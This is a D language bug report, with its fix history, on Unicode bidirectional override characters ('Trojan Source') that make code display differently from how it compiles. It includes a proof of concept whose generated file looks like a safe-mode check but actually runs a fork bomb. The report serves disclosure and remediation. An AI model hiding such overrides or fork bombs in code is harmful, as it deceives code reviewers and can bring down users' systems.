Bug 22495 – SECURITY: unicode directionality overrides should be rejected

Read: https://www.schneier.com/blog/archives/2021/11/hiding-vulnerabilities-in-source-code.html Demonstration (for Unix systems) that the vulnerability affects the D compilers: ------------------ import std; auto exploit = "import core.sys.posix.unistd; enum mode = \"safe\"; @safe void main(){ if (mode != \"safe\u202E \u2066) // Check if safe ( disabled\u2069\u2066\") while(fork()){}; }"; @safe void main() { File("payload.d", "w").writeln(exploit); } ------------------ When run, this file generates a program that looks like ---------- import core.sys.posix.unistd; enum mode = "safe"; @safe void main(){ if (mode != "safe") // Check if safe ( disabled ) while(fork()){}; } ---------- But compiles like ---------- import core.sys.posix.unistd; enum mode = "safe"; @safe void main(){ if (mode != "safe\u202E \u2066) // Check if safe ( disabled\u2069\u2066") while(fork()){}; } ----------

Posted pull request on the github repo with more appropriate tests here: https://github.com/nickboucher/trojan-source/pull/16 Also noted what works, what doesn't.

@dukc updated dlang/dmd pull request #14538 "Fix security issue 22495" mentioning this issue: - Fix security issue 22495 - unicode bidirectional controls should be forbidden. https://github.com/dlang/dmd/pull/14538

dlang/dmd pull request #14538 "Fix security issue 22495" was merged into stable: - dadb7fd66e9c434ccec733b40cbd5e0704ecde2a by Ate Eskola: Fix security issue 22495 - unicode bidirectional controls should be forbidden. https://github.com/dlang/dmd/pull/14538

@ibuclaw created dlang/dmd pull request #14609 "merge stable" mentioning this issue: - Fix security issue 22495 (#14538) Fix security issue 22495 - unicode bidirectional controls should be forbidden. https://github.com/dlang/dmd/pull/14609

dlang/dmd pull request #14609 "merge stable" was merged into master: - a658f02da91b50fe73bb832c793a273abfd93aa9 by Ate Eskola: Fix security issue 22495 (#14538) Fix security issue 22495 - unicode bidirectional controls should be forbidden. https://github.com/dlang/dmd/pull/14609

This was fixed.